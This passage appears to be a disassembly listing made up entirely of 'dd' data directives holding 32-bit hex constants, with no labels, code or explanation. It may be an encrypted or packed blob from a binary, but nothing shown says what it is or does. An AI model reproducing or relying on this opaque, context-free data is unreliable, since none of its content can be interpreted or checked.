221E9500h, 0B50593h, 0F0F9966Bh dd 108D8529h, 0D420B081h, 5352D9Dh, 0B75CD71Ah, 46EA00D4h dd 0F282BF99h, 2B0934F3h, 0DA087DB5h, 8525FB3h, 5F12165Eh dd 93F35A0Fh, 93F6A1C5h, 7DF31E0h, 3969E909h, 7EBDE40Fh dd 0C009F68Bh, 1B94D60Fh, 0C099754h, 0E27F298Fh, 0DE5DD6A0h dd 0F682A14Fh, 8D0F0201h, 0CB042189h, 7ABBF1F0h, 1900886Eh dd 0DDA27B97h, 12246B11h, 2D084964h, 0D82B0914h, 0FA70A25Bh dd 157E41h, 88381987h, 0DCD403BEh, 40506926h, 9310C160h dd 74A900F3h, 351E5E40h, 5B05F1E4h, 0AA0EA38h, 420BF7A1h dd 0B2C01A88h, 27209A1Bh, 0F6051C8h, 4D505FEFh, 3A9DFF9Bh dd 50AE5B6Bh, 700B73DAh, 489D708h, 0F9490136h, 1194D26Eh dd 918800D4h, 0B5332F1Ah, 89800805h, 0BF14ABDh, 381DB00Ch dd 9801891h, 99CB7383h, 721EC4A6h, 3A40378Ah, 343C93EBh dd 1DD01D2h, 39C0A36Dh, 66D42020h, 0A122BE12h, 0E8A0AF14h dd 4A008C1Ch, 82E8BF80h, 0F1E2F908h, 0D216746Dh, 23A23E01h dd 7BB4071Ah, 2D0B61E9h, 3F1253Ch, 0CD2DFF8h, 175191DBh dd 20127118h, 0C304D979h, 0AFFC0F69h, 0A0ABB6D3h, 142D8FD0h dd 0A907AEB8h, 58015413h, 29B96010h, 40AF12B5h, 9945C5Ah dd 2159BD0Bh, 0AA6DCA32h, 80790960h, 0CD740BD4h, 0B0D0EFFDh dd 56089D20h, 1F08F58h, 0EA5BD191h, 1FED9A4Dh, 9B2DBF21h dd 0E696525Ah, 88C8F0C9h, 691704AEh, 0E2A5AC8Fh, 0CB491EDAh dd 0F12DFE80h, 0D09C22h, 0BF061A7Eh, 55A6575Bh, 8B2FABB6h dd 9B8B4983h, 21169773h, 108BC91Eh, 2DB1592Dh, 0FBBE7A01h dd 3BEC2CA9h, 77B2CDEBh, 0D3805522h, 522E7A64h, 0EFC8125Fh dd 5B3DEC04h, 1A1824A8h, 8FD70A7Bh, 4D2BED2Dh, 8FB7E0D0h dd 150BE72Ah, 6C4F0CD7h, 0E90A4445h, 0EF88284Eh, 5EF109B7h dd 2B54C08Bh, 0BAA861DCh, 6D3E86F6h, 29DB5A24h, 9E80368Eh dd 49742016h, 4185C71Ch, 0B132E20h, 8B091ECAh, 77130EDDh dd 0CE8147ECh, 780906FBh, 0C282CAh, 9585010Eh, 90B69F13h dd 0B73C2A45h, 256ED7h, 667C2C59h, 2C3ECDC7h, 5227D995h dd 0FED4A556h, 556B0962h, 3E536A5Ch, 29E9103Bh, 0F3BF094Bh dd 25582D02h, 0A85DD6C1h, 712CB8F7h, 467C681Eh, 0D1AD0916h dd 0BE81186Eh, 8F33000Eh, 0FAEC5DD6h, 0C109A416h, 0B7FB8B28h dd 0F9848041h, 640941A6h, 4AD2DB12h, 0BEEE2B03h, 7595D146h dd 30F1834h, 0B531FEBFh, 132E1715h, 8940B08Eh, 962D219Dh dd 117C4ACAh, 0B9BF0205h, 5379151Fh, 5BFA719Ah, 2064C19Fh dd 3BC760B2h, 0C402EAD4h, 0BF18D8Bh, 0E8595703h, 0B0CEEDB8h dd 0E3885D7Ah, 0F18A8F9Eh, 38D5DC99h, 6B6E5F6Bh, 1838007Fh dd 0E0C92B55h, 0F94B395Bh, 610A88h, 0C2E6C3BFh, 550F28Dh dd 0BE40941Bh, 1D51C97Ah, 68F8E901h, 7BF02DAh, 60213245h dd 81126D96h, 0F0FE2660h, 3B973AFDh, 3828B962h, 0BCF1B6F0h dd 0AB171CCEh, 333582Dh, 0EAEE2C01h, 0DE812086h, 9EBD8C0h dd 298D2139h, 99CD3762h, 0DFB1FBE0h, 4CD76587h, 6650F181h dd 68F4F081h, 0DD3700AEh, 2F44A154h, 0A204DEBBh, 8589752Dh dd 1D44E189h, 0BC895B11h, 0CF6300F1h, 69592F1Fh, 852A8B50h dd 5B07F0A9h, 0F01E183h, 0CD9F41A5h, 0F1C7DA80h, 0BC002554h dd 1606931h, 9E1DFD9Dh, 0F717C135h, 0CCBBFD52h, 2000453Ch dd 0DEC2F1CDh, 341EA03Eh, 25F461C7h, 0B8DDEDAFh, 276CA9CBh dd 7E7B6Fh, 0D5A8F051h, 0EC81C50Ch, 952905BBh, 3A60617Fh dd 41623FDh, 0AE658BE6h, 7A342935h, 0BE8011ECh, 743F1A81h dd 0E1B58913h, 3C049B85h, 0C8132801h, 14005E0Bh, 0B8473971h dd 313DF268h, 0B12CD0A3h, 0B078272Ah, 6AEEC11h, 0BD897193h dd 0CF824D21h, 0AD374209h, 958B1782h, 212E5E61h, 0E32A93D5h dd 3018E27Ch, 0FE04A05Eh, 0FA8AB738h, 21677AB8h, 14B6CD8Bh dd 8B6FAB87h, 0EADE5601h, 3074DA96h, 21537982h, 0D3242560h dd 41AFD9D8h, 2D11A1F5h, 2732512Ch, 79A4F88h, 96369B82h dd 0D07A0642h, 566495h, 0B619FD3Fh, 78C72B3Bh, 606A9107h dd 32AC6C63h, 71284C75h, 2C8C15F8h, 180D326h, 16731E9Eh dd 0CA42498Bh, 63997E20h, 3B4929B7h, 547AE8A5h, 2C381546h dd 93890F93h, 7C68F8C4h, 2F6FFCEh, 172CFAE2h, 91C28B67h dd 0E4FFC988h, 0E9574E1Fh, 0F18E6A8Ah, 0CEA700CAh, 12FD0EA0h dd 902B5600h, 48D0B60Ch, 88C8F92Eh, 0FA45E35Ah, 0ABB874B9h dd 9666ED01h, 0F3D5898Eh, 6E4F1D23h, 0DEB200E1h, 6F19A4EEh dd 89E612C8h, 0B50B12FDh, 0B8B67DF6h, 0AB96009Dh, 0CFCC3466h dd 54D7208Eh, 68D4FD50h, 0CE4AD60h, 15B53342h, 91D9356h dd 1A5B1D97h, 7A424E36h, 291002B3h, 0A4FC686Ah, 0B445023Bh dd 0F6CB168Bh, 0CEF2E0A6h, 0E96A1845h, 342D1908h, 0AD730D03h dd 31073306h, 0C7D71DBEh, 0D6592D85h, 37E0A5A6h, 2C093F02h dd 4D6155AAh, 78F0C321h, 80864A80h, 0AAE69B0Bh, 0EB3560D7h dd 9D611607h, 0A96224E9h, 79B8EAh, 307C16C2h, 0AE0522D0h dd 0F0E1CA56h, 43E7FD5h, 0B19D8957h, 41AE721h, 284DB531h dd 603815B9h, 81665380h, 5EA0AEC6h, 64880F27h, 0FBBB17EEh dd 0C0460B37h, 60C2D86Dh, 0FF46DAh, 5740C2Eh, 3E94CBC0h dd 68151E00h, 0D29C04E9h, 32BD5B55h, 0CDCF81Dh, 10158D04h dd 12097506h, 74889570h, 53503119h, 8238B8A2h, 658589BDh dd 9F02560Eh, 0A0129215h, 58565BFCh, 87172022h, 0B5A3BD20h dd 0F83725h, 9A5FECD0h, 4B09B3DCh, 7E52A808h, 3B0F40B1h dd 0A3016AD2h, 0B9B20417h, 30365EF3h, 0A2E03BF2h, 0F97DEA23h dd 90F28628h, 2FE0049Dh, 0F444E804h, 0CB65BF93h, 0E9421F2h dd 0A1B8DBE9h, 0B491BA0Bh, 1D4558E0h, 0AC601971h, 0B95300E2h dd 0E6ED47Fh, 0E861590Ch, 5A897F05h, 0FC9ED395h, 42C58625h dd 0C02CEDCCh, 80BFD5ADh, 0E826F173h, 37A51FD2h, 5E25004Fh dd 0D16AB829h, 531A2D18h, 821211A0h, 9F477CDCh, 81F10AB0h dd 3CF6004Bh, 9E612909h, 4405A0E4h, 89E25E7Ch, 0B0BF9887h dd 0F18B5903h, 0A11282E8h, 0E522870Fh, 40C37C60h, 4914D6E4h dd 0C6054A00h, 8B587E11h, 86D2095h, 0ED926167h, 0CB8A03D8h dd 554B58E8h, 831EE4F0h, 59B9262Ch, 0C05696FCh, 23E86A02h dd 3EAD6BD3h, 0B50137BCh, 70EC3325h, 0A693AE0Bh, 0ED28842Dh dd 28FB8CBh, 95296D2h, 0D2844257h, 0F97ED5D1h, 0A033B86Bh dd 8412E5A3h, 380CD70h, 0D39D5BB5h, 664B9E57h, 38CEC29Bh dd 1FB5D180h, 9C1A65F5h, 426CD67Dh, 0F49AFE8Ch, 0C84E4C00h dd 0F0BCAE1Fh, 4BE835EDh, 6E7BBCA7h, 4D845362h, 0C8B9D6ADh dd 0D45A77E0h, 5807950Ch, 17E833CAh, 6410F569h, 33122ED5h dd 0C577D48Dh, 2560FA0h dd 85719E92h, 3AE86D91h, 0AB73E383h, 54E8B5CBh, 0DF009CBFh dd 0EB4DAD58h, 629181Ch, 8BAEF3A2h, 512D98CFh, 70FBD1Fh dd 0E047BCF3h, 3CB052E9h, 9BE87F13h, 77635C86h, 1C064895h dd 0F91B2585h, 37DE8ECh, 4207F29Ah, 5C10DB56h, 0E8092AD5h dd 167C0560h, 0E84695F4h, 85746075h, 0B109A1B6h, 0A530A20Fh dd 0E8FC000Eh, 4F9D0529h, 807D4004h, 501DFC28h, 0D44A5DBEh dd 8505F32Ch, 76B408A1h, 0F5E82CF9h, 0A37AFC5h, 8F8A7A00h dd 0F23A6CC7h, 21E390E4h, 651A1D05h, 0C6B7776Fh, 8D17A200h dd 0B5A4BF5h, 0E801C180h, 1BD128Bh, 0A0FD530Eh, 118962C7h dd 0CD1A2D7Fh, 85CA9EA0h, 0B5108B47h, 61310CA9h, 1121090Eh dd 993D820Fh, 9E39B902h, 0DDA443DAh, 8D010204h, 0B0ACC935h dd 0DC2CD4C2h, 28A8CD02h, 0DA810FABh, 0B96002A1h, 67E7C819h dd 1FD9B383h, 0E2FC9725h, 0DC62542Eh, 0E97AB600h, 57B10326h dd 5B957B09h, 56F1CA0Ah, 8EE0B779h, 1E9BE327h, 6D8BF8FBh dd 4EC5134Dh, 708ECEFCh, 0E7344F23h, 0A4F0C59Bh, 0FC04431Ch dd 9991199Eh, 0B47269ACh, 62598056h, 727DE0DBh, 1DD5315Eh dd 7194C8h, 20DBA241h, 0AE34B883h, 0C05C0B00h, 4509F078h dd 9759716Bh, 0D65F7588h, 0D7F3754Ah, 1B97085Eh, 0CE043A28h dd 8A0FF61Dh, 16842C89h, 0ACC9D8E9h, 0CEBF076Dh, 52216050h dd 31E45CB4h, 4FBA0566h, 0EC585A77h, 0A156C0BDh, 5993B6h dd 0AB5F83D5h, 3C086FD9h, 80976171h, 77E6816Ah, 635425C1h dd 0DAFF1B66h, 5B4F5D44h, 3DE49921h, 93E41F0h, 0B5958D21h dd 0F35B83C2h, 0F8C21271h, 135D7859h, 887281E6h, 7C009556h dd 1363D5B9h, 4A89FF86h, 80959B1Ah, 21A1FBF6h, 976200BDh dd 8D2B249Ah, 0EDC12FE1h, 8B0F0442h, 1FCCC4Dh, 0E6258311h dd 0D7BC70A1h, 0E7EBB682h, 0E80E7DC1h, 0D25B6E40h, 0B58E04CAh dd 0E8E575A6h, 61592F07h, 4C561AAAh, 2285218Ch, 0B02DAD3Dh dd 0C575C1h, 385D4AF1h, 0E3F6688Ch, 66ACD860h, 0D302B1BEh dd 84A5DB4Bh, 18BB9125h, 1057E91h, 0AA955281h, 44648CE1h dd 0E01EA61Ah, 6D09778h, 7E19B5A3h, 0B7BDADA1h, 1A4B0923h dd 2E14E476h, 0B0B58E98h, 35BD147Ch, 0AC92E40Eh, 0A7A645A2h dd 0E28D4D74h, 87E6D252h, 0B4735E00h, 9EA2824Ah, 920900E7h dd 0C80AE239h, 290AF53Bh, 0E5E95485h, 0EC85DDBFh, 90272775h dd 8300F864h, 8C1043Ch, 49E523CEh, 8EEC57ABh, 668AB702h dd 0A5BEBABFh, 0D3ACFC8Fh, 8D583F80h, 7F009880h, 3AE8C79Bh dd 3B6A6D4h, 3571D8FAh, 0E41040EDh, 1CF82D49h, 8ED4938Ch dd 8DEBE6C0h, 0E0B5A056h, 0DB86A1DBh, 0E40B782Dh, 0D8B112C6h dd 62848ABh, 0D396E0D2h, 69C65B67h, 0C0A2560Bh, 0C9DF939Ch dd 0B4F46C38h, 77B68CFCh, 8621A8E0h, 5DE6C0B5h, 80FD0973h dd 0FF181DD1h, 7FDE0729h, 0AC9E01D3h, 0B65D5080h, 2F099B27h dd 70693FE5h, 0DE1ABCA2h, 25A20148h, 6AB70461h, 3CDF6FAEh dd 1A66004Dh, 0C18146DEh, 0A0DD1A3Eh, 37754E25h, 3EEF01F8h dd 60D055C7h, 2316C899h, 0D2C9E9BDh, 5DF05526h, 2906112Bh dd 3A6A9359h, 9BCF595Ch, 7C732E24h, 7E011D46h, 0FD835327h dd 94A9D0B5h, 819BF47Bh, 97467578h, 1D2197E0h, 63DA2981h dd 610C09DCh, 0E55BC58Ah, 8A20E579h, 256F240Ch, 0FF853C90h dd 88E8603Bh, 5F00B59Ch, 0B4BCD2EDh, 201E281h, 5E43496Dh dd 7BEC8E0Fh, 93DD21FEh, 0FAB6C0D3h, 0AFACB9E0h, 567A5D5Bh dd 88132D10h, 2084D67Ch, 56291D5Bh, 9EA0F676h, 0D758D840h dd 29A91057h, 0B8FC6015h, 6170B707h, 0C1B5C357h, 0A885F34Eh dd 988D1BDh, 379AB080h, 13A480A9h, 0A2513Bh, 5F6317EAh dd 0E797DE8Bh, 6019E4B1h, 3039DCFh, 6646D676h, 6A8A88BBh dd 50BF091h, 33E47C8h, 1DA19FAAh, 0A58059E4h, 0ED5F5502h dd 0E9C86E1Ch, 31A9830Bh, 97A3942Ch, 0F4E457D1h, 0A44E962h dd 8D1E0066h, 0CC306876h, 0EE0A3B8Bh, 8385B361h, 0D242BD0Bh dd 84FB5E16h, 406EBB92h, 0E989AA00h, 815773ABh, 6A68D300h dd 605F4A55h, 4E857A03h, 0F96D4427h, 90610518h, 0FF8BFB0h dd 8854DCBFh, 0E250D75Eh, 49017BA9h, 0DF72AB62h, 0CFC0E35Eh dd 0EC2A25F2h, 2D3855E4h, 8081B807h, 0E0FD647Bh, 1E8A44Fh dd 0BE397F1h, 6D905F73h, 2AB801h, 8B46BCE4h, 9C57D05h dd 15209DEAh, 95E84A31h, 95E9A79h, 5C6A5FF9h, 7724DE39h dd 8B0D1838h, 53F42DAh, 0EC45A091h, 0D316D827h, 8DD1386Ch dd 0A626C5DEh, 48D0F7A2h, 2CA2E72h, 4F4BC92h, 0B3FCD1FFh dd 4477D040h, 0A61400B5h, 0B2605376h, 7504489Dh, 5B34ECD7h dd 22556981h, 90C8304h, 0D61E0D5Fh, 0D8BB5B65h, 921494DFh dd 778A1296h, 0C8026A28h, 0D2B5AAB5h, 5065D3CBh, 0CA00311Fh dd 5B85AABh, 146EBC4Ch, 0B795C780h, 2F75B673h, 8804AC37h dd 0F6A81DF2h, 0DD3E4D7h, 20E396BDh, 379742C7h, 35FC0226h dd 9384F88Ah, 0B6F580D8h, 9BE1399h, 0A0D40C61h, 0DE54C8h dd 5DFA7D98h, 0DDFC58A8h, 656D9B00h, 0F3812344h, 0E460337Bh dd 502690E8h, 1A0B6150h, 789DF3DCh, 35249783h, 0E7095D33h dd 0FFDC0745h, 0FE49829Ah, 6B254067h, 2076D26h, 77229A4Dh dd 0D065F170h, 0CFEA0D01h, 0DC4783BCh, 64115FBDh, 0B14A2589h dd 0EA84FBC9h, 5FA6FE74h, 0F5232AE0h, 29B5890Ch, 0B4FF4919h dd 7F00DCFFh, 0D3F585C0h, 9E0892BEh, 0EA5D40ACh, 68000D93h dd 0ED217F1h, 0E4FE4C5Fh, 98500E4Fh, 45A2BF2Fh, 825D1475h dd 29282186h, 0F77AD88h, 9501595h, 0F40132E9h, 22A58879h dd 5111B019h, 18C033ADh, 814133BFh, 0D20EE072h, 53E10C02h dd 6FFA1032h, 85070148h, 97F59D89h, 0C8B6C0C0h, 34169ABFh dd 8588739Eh, 4046B460h, 8C0CC17h, 51780700h, 70D90241h dd 17BA787Eh, 0AF5760Ah, 8019C176h, 0EB71F636h, 250031C0h dd 1FD00377h, 2D1AE926h, 5F093517h, 0E06B8522h, 0BB81C7DCh dd 0C82B4A10h, 3A381863h, 9425FC00h, 0E5A94220h, 0C7EAC900h dd 0EEF5841h, 0D18B05D2h, 0F14D9589h, 871D2CABh, 0F81E9D2Bh dd 27FAB7EDh, 0EDAB858Bh, 11352782h, 0F2096103h, 818DA9C5h dd 0FE8B07AFh, 884F0AB8h, 65029E21h, 3B632BB7h, 61AD8AD0h dd 33F70049h, 346D198Dh, 0BF174FE9h, 0EDBD2420h, 6B3C0038h dd 0D49E51DFh, 0D0B7F7Ah, 21635A1Ch, 5B61C6AEh, 0BFEA333Ah dd 3487FD8h, 84A2A297h, 0B9A62A21h, 0A528D5BFh, 0DFE4819h dd 89F9AF0Bh, 849F6444h, 415B2340h, 9BB5A187h, 523730DAh dd 6A5BF516h, 0E8F0E4F6h, 4D656156h, 0B2ACFBC8h, 2205F4D0h dd 8565C71Eh, 972FDB6h, 7A07B3B9h, 83F57924h, 0FFCE809h dd 0B5AC4680h, 0EDED006Bh, 39B857h, 5B83F19Ch, 9529DEF2h dd 6A55Eh, 0F6B4C02Bh, 9E2AE1BAh, 35C0C036h, 2E942076h dd 650FDh, 0AD0FFFBFh, 0D160C233h, 0E983D050h, 0F4750F04h dd 0D847BA60h, 15F08CADh, 48A5988Ah, 8AD700B3h, 99F704FAh dd 0B01427Ah, 0C8DEC450h, 6E3B618Fh, 83C4006Bh, 7A625EFCh dd 0A2264BFDh, 0A8860129h, 0E5DD4E9Bh, 0D3880DC4h, 0E319F619h dd 0D4F7E09Ah, 2C0D040Eh, 94F5958Bh, 2DF2C8h, 39EF1924h dd 70A865h, 8C3C4B17h, 593F954Ch, 96DDD904h, 8B818FEBh dd 0A3722319h, 0BBDBCB07h, 0E1C2C750h, 0BCC10318h, 0B6AB7408h dd 0B7581925h, 965C0003h, 9F875774h, 0F5B79Fh, 111D3C4Ah dd 775CB72Bh, 1E2910B0h dd 806DA04Ah, 601AE487h, 13E5FF8Bh, 446F01CFh, 9348D76h dd 0C1F01AB8h, 0A4674E28h, 255DAB2h, 21C9DDCh, 77BE1FFh dd 7FF0A70h, 17EFF72Ah, 0A48B21B0h, 191210Fh, 0C22C18Dh dd 0F7034E4Dh, 9EE0A7D6h, 59953199h, 3142985Dh, 37450120h dd 36DB2540h, 0FC12A4F8h, 0EF86100Fh, 85310E02h, 4A4D71Dh dd 601F40EDh, 729C36B1h, 41AAE040h, 5E82C725h, 0A679C5FDh dd 50D5E010h, 10F8002Eh, 0D2CE4960h, 0B9208D01h, 0E180262Ah dd 0FBBF0319h, 0D037C90Ah, 3EA041BBh, 0B074DDF4h, 0B721E276h dd 0CD4209CFh, 2495FE31h, 0D11CE1h, 85336C05h, 87A411FDh dd 0FB1CB12Dh, 450937Bh, 0A1EC467Eh, 61FB20F2h, 0FA8B46A8h dd 0BC026804h, 0B4F2EDD3h, 0B5F87900h, 500897E0h, 81605B71h dd 4B47FD40h, 0F0EE9D12h, 4405D527h, 0C26D18F5h, 0E9FA8A13h dd 28D28D90h, 68B826ADh, 0BE464907h, 73647FAFh, 0A0F20BBh dd 0DC024FA8h, 8B3D5CD6h, 85D9C0F9h, 9B7ED265h, 35B8C03Ah dd 9BF795Eh, 223AE6EBh, 722D72A1h, 2B18C1C7h, 9BC9B5DEh dd 7A7933E4h, 82E10300h, 0DA105207h, 0BE8CBFAEh, 0BD2989C1h dd 8505F0E5h, 60AB0E25h, 1837834Fh, 15FB7A00h, 39A92E03h dd 1EFECCFh, 1E81DA85h, 2F0689F6h, 9512C36Eh, 2F5E29B0h dd 0CA814BDAh, 20BB3F27h, 4BDDE50Ch, 5404468Bh, 44539820h dd 0F272434h, 0CB0EAE81h, 9D3C9887h, 0FF3040A5h, 2EF1B552h dd 9908A7F8h, 4E80832h, 1F03FF87h, 181B6007h, 411C2A9h dd 9D17B2E2h, 0E97F21Bh, 0E0EEB9D7h, 19532515h, 177A003Ch dd 615E4895h, 50E69EB0h, 8BD2B31Bh, 0F8BA3BE3h, 0CB85A6E5h dd 0C9390017h, 4A6FEBB6h, 0F441394Bh, 60AE3B83h, 88E44007h dd 1905B7F7h, 0ED9D0958h, 918DB6A0h, 5BE3AF9Fh, 715009ACh dd 0FCB00032h, 0A86DC4F5h, 0F229C801h, 8E922F4h, 0C43BA611h dd 86E27B3Eh, 0FE5F9724h, 0D7588AA7h, 202FACC8h, 68BB6176h dd 52E3094Ah, 0C19A85C7h, 3D78E2E4h, 9751CA0h, 5920E999h dd 18531A9Ah, 2E0910DBh, 2AD3895Fh, 7540F520h, 7AAD005Fh dd 50DA8A3Eh, 11700C30h, 61954473h, 4CEB1017h, 4C3F000Eh dd 20580317h, 36EBE7DCh, 43E036DDh, 63E19E64h, 2934501Bh dd 180C2128h, 0D0011358h, 0D2991B57h, 0CB6E2EC0h, 2C87F328h dd 528309C5h, 7D857160h, 0A70B0441h, 38CD703Eh, 0E2B7FAECh dd 0F12A0B30h, 28410F7Bh, 0FDD15AE0h, 809B3CBh, 2B88D80h dd 0DC2FA510h, 0B100F437h, 0BF5680EBh, 5F9C5AFEh, 0A492B131h dd 98C05F82h, 729D882h, 0CFEECB62h, 0FA58F0F0h, 2B046AEAh dd 0C71C25F4h, 4FA1ABBh, 1145F682h, 34455AD2h, 9EDB510Fh dd 4B4A4E48h, 8B935751h, 4B48409h, 1DA70E13h, 25952538h dd 8EE931D3h, 395873B8h, 741415C9h, 0D7FD938Bh, 7D0A4AB8h dd 0B29026A4h, 0A9D18509h, 987C39B0h, 5787377Fh, 6E348225h dd 0B484878h, 636DA0CCh, 0A6F012Bh, 86896153h, 837EC2C4h dd 0D80D00F4h, 940BE6DAh, 0FC17C4FEh, 0D3A4E809h, 0DEC90091h dd 1E3BDB7Bh, 0FC014FC8h, 0AF97AD6Ah, 0B629890Fh, 7BF25Bh dd 0F0C331B6h, 88D96Ah, 0CE791F89h, 0DFAAFE82h, 51038601h dd 5F5BF33Ah, 0A1D5752Ch, 524CC7BCh, 835B0FF7h, 0E404F2C2h dd 890006D9h, 61BF2050h, 27165F13h, 0D7C2DF02h, 0CCB7FD13h dd 83B40A80h, 11ACD66Ch, 2E0BE8C2h, 0F6017DB2h, 0DB42AA63h dd 682897C0h, 11D17A60h, 0B52909B8h, 0F3922FF1h, 886F97C9h dd 8D2729DCh, 63B90949h, 59D2125Bh, 4183290Fh, 90E117Dh dd 8100E669h, 4B1BDEC3h, 0F2E9605h, 6041698Ch, 8D6E62B2h dd 3E9D31B2h, 0FF96AEC2h, 270410B7h, 0C3922BC5h, 0C7B7FE1Ch dd 8861D00Dh, 8000E621h, 9C518D3Bh, 14D74FA9h, 683053C6h dd 3EF93093h, 487E5D5Ah, 89333000h, 8B5C4480h, 4190972Bh dd 0C10039D3h, 679E226Bh, 0CD4D8h, 0ABE2E03Ah, 8BED8EF2h dd 85F0DA4Ah, 0DE164A2Dh, 0A0988FCFh, 9CE5BA9Dh, 0D0E80BFDh dd 50FF50Ah, 221013E4h, 337D126h, 969578DBh, 0E06ABBB0h dd 80F2504Bh, 8DDFF700h, 5BE270ADh, 3898B300h, 320ACC81h dd 6F964D41h, 4BF80829h, 6CC07ECDh, 0B39ADh, 8444E861h dd 1D9509BBh, 0D58D31B9h, 0ACF36D19h, 6E5B75FCh, 35C50000h dd 0C85101D9h, 604B0128h, 0A6D78052h, 0CE332059h, 76696155h dd 6C93F059h, 0E69C5F06h, 0ECE70F37h, 0C821EDF1h, 8A2916CDh dd 0DD25C6E8h, 8901C0EDh, 4202810Fh, 0BB2063F2h, 4CE757C3h dd 0C527EC3Eh, 76D63162h, 34904DCh, 0B062D9Dh, 0D1E2FBC6h dd 807228CCh, 0AF8FE2DCh, 6C341846h, 294C52B1h, 0E834E00h dd 0C7D98B1Eh, 2A251485h, 6594A410h, 1C48A3Bh, 3655B52Eh dd 0F3F0E983h, 0D4DB8CFFh, 0C18B19C0h, 0A21DF6BFh, 756C2ABDh dd 0C6658F1Dh, 3AE69D5Dh, 8B609009h, 3D4859F7h, 48F9E53Eh dd 2302CE55h, 0C29E97C6h, 5E937771h, 0B7906A0Bh, 0EF82BD3Dh dd 820FCCF1h, 85EC597Ah, 0DF8023A0h, 5BC8344Ah, 7EA504Ch dd 0C99030EFh, 14516DCEh, 0E41FCD95h, 245AB879h, 6103F31h dd 0DE8A900Fh, 619BB7E7h, 0AD21DB80h, 9F4BF85Eh, 0B0C13FEDh dd 5F9A33Ch, 0E9510330h, 0CC7F8105h, 0C6322B32h, 69C256F8h dd 77DF6A00h, 0F2FD1FFh, 255BC68Fh, 9065B709h, 5523A31Ah dd 0E114D837h, 0F6B500AEh, 85011F32h, 2557B4D9h, 0BD199846h dd 95750891h, 0BAC956Bh, 0B310E822h, 2F1885F2h, 0C23A66AFh dd 0FC0EAA59h, 93B9631h, 23095ADBh, 0CC405654h, 989D42h dd 0A0228DF2h, 0E99C91D2h, 18A65ED2h, 3AC106F0h, 0CB3D437Fh dd 7A0E1D5Ch, 993D781h, 0EA665EBBh, 40298C50h, 914AE921h dd 7710B0CEh, 746B9351h, 0E0997D00h, 0F59ABE0Bh, 0C0397225h dd 950DF144h, 6F009B6Ch, 0B73E5FB0h, 69BD23BAh, 0CA51A7FDh dd 0C0084DADh, 0EBFBF09Ah, 0A81F7200h, 6025558Ah, 999D382Bh dd 2969205Eh, 531661CDh, 95B38B0Fh, 0F08DEF0Bh, 0FA877FD4h dd 4A990F50h, 31C6F2h, 3CEA843h, 71A0D7D9h, 25C4ED06h dd 0D636906Ch, 0E0B4E640h, 90CB39EDh, 7492047h, 51830F28h dd 40BABB04h, 0DB91EE3h, 0B07AB75Bh, 1227DAFBh, 0E09054Fh dd 91B4B17Ah, 0FAF7DF82h, 4C91C5Ch, 8B440293h, 0D71EB8F9h dd 5BDE0303h, 1DA9E46Ah, 0D1BA30B9h, 37084DE6h, 8210E932h dd 0F6AA4FC6h, 0EEEC98E0h, 2B01AFECh, 0CB71D67Bh, 65F401D7h dd 2F78B90Ah, 37D744CAh, 0E6E612C7h, 0B8302213h, 0B00D40A3h dd 0FEC681BDh, 62D070E6h, 69B70142h, 9D2971E4h, 0A28B544Dh dd 8EFD00D2h, 7841E7E6h, 1624977Bh, 0B5094102h, 400D23E1h dd 3055FAE4h, 0D0F3574Eh, 205BD0Ch, 0DB58B729h, 9D0B1C8Ah dd 0B6B42FD2h, 21392585h, 0D22D2BF9h, 21B98Fh, 40E0A835h dd 523E2E0Ah, 0E1970171h, 5BB36C0Eh, 0CC13142Eh, 132E4510h dd 0EC04C82Bh, 3B84169h, 8AB57E7Eh, 89D90A99h, 4C20A17Eh dd 15CD00E4h, 0A058FC65h, 6300D328h, 24F2E71h, 4B098C67h dd 485D9h, 0CB0CC33Dh, 0DE318060h, 61F1E614h, 924B20B8h dd 0B3211505h, 7F706062h, 610B4029h, 9757E929h, 4BAB6995h dd 6460CAA3h, 3ED140CCh, 3CF69195h, 8006BC14h, 0C9F1C2A2h dd 59D1017Eh, 0EF46A8EBh, 1658F06Ch, 74682A0Bh, 0C1B302B1h dd 835B0132h, 0FE3442A5h, 12211A40h, 266F8981h, 0EB12E803h dd 11E601FAh, 13E4260Bh, 0BF78A2FBh, 8FA00395h, 0ED6E177Dh dd 0F3814601h, 741E75AAh dd 0B290E62Bh, 0F8A13118h, 0BB2CC41Bh, 0FD082951h, 0B95F040Eh dd 0FA8ED5D4h, 11355204h, 0D3289314h, 0A6E15FE0h, 0B670F0A0h dd 33520660h, 731EF99Dh, 612D3790h, 0FF5688FCh, 0A6C02B89h dd 5811299Eh, 0CF4AF1D2h, 0F083460Ch, 3B0CE8F9h, 1DED46Eh dd 9D095F72h, 0FB482ED9h, 0F6738105h, 88BFFB94h, 25328996h dd 6BBEF644h, 0A79A340h, 139D74BDh, 0CD035A3Ch, 0FE66926Dh dd 6E5FCCB3h, 0D3AC4AD8h, 0D6E58B4Ah, 1E27B56Bh, 820F8BB7h dd 6DD2E092h, 4AB3E036h, 35E2CA7Ah, 226F33AFh, 89F93917h dd 23FAE0A1h, 95EE710Fh, 13B88E49h, 0F5B0C1E7h, 587CA0A8h dd 69208D98h, 60F89501h, 742B2041h, 0A094E610h, 4C3ABEABh dd 272D3729h, 2AF15DA2h, 4D69175Ch, 48194617h, 3A1DC12Fh dd 88BC2F5Dh, 0BA600004h, 66912D37h, 13F1419Dh, 0FA566102h dd 35801E51h, 0B3D7C781h, 94955D7Fh, 0BCD574FBh, 0F466F47Dh dd 5815016Ah, 22C0B6F8h, 0F24E564Fh, 60D59316h, 8380BEDBh dd 0AE5A08Bh, 8D167698h, 3BFD0F59h, 0A0A0E696h, 2F44518h dd 3B23E42Fh, 315C5786h, 0EE2E6B25h, 214CBDD1h, 14A99D10h dd 50D7325Fh, 11101BD6h, 17CE5F25h, 4F30AD20h, 55F390h dd 0D197BF95h, 1481B0h, 0B1CC1692h, 855F1D4Ah, 90A7CA00h dd 397B4BBFh, 69E6D435h, 0A4110h, 0BBC60968h, 9452502Ah dd 0D78240E8h, 8E00B2A3h, 0BF310FADh, 8D557h, 81585A41h dd 0C5F62434h, 372AA42Dh, 517E000Dh, 0B88FB2Fh, 2073A624h dd 0B74FD426h, 107BC8h, 1CAABD99h, 0FA85CFA9h, 0BC3D9516h dd 77D5E482h, 7380453Dh, 5DBA25A2h, 3C3058E8h, 4A317110h dd 9B3B8AC9h, 87A2D777h, 94E2E9C4h, 0B83EE908h, 145003Fh dd 439BCB05h, 0BB12666Dh, 0A2E389F7h, 0C7DA8A0Eh, 4FBF1808h dd 342B7EC9h, 0DF9BAE56h, 4EBA9C80h, 0D13C9CEh, 8BF04036h dd 9C0E4B71h, 954A317Ah, 578939D2h, 0F1E0D6EDh, 22BD2E2h dd 1050777Ch, 0E8F0EE48h, 0A0A02348h, 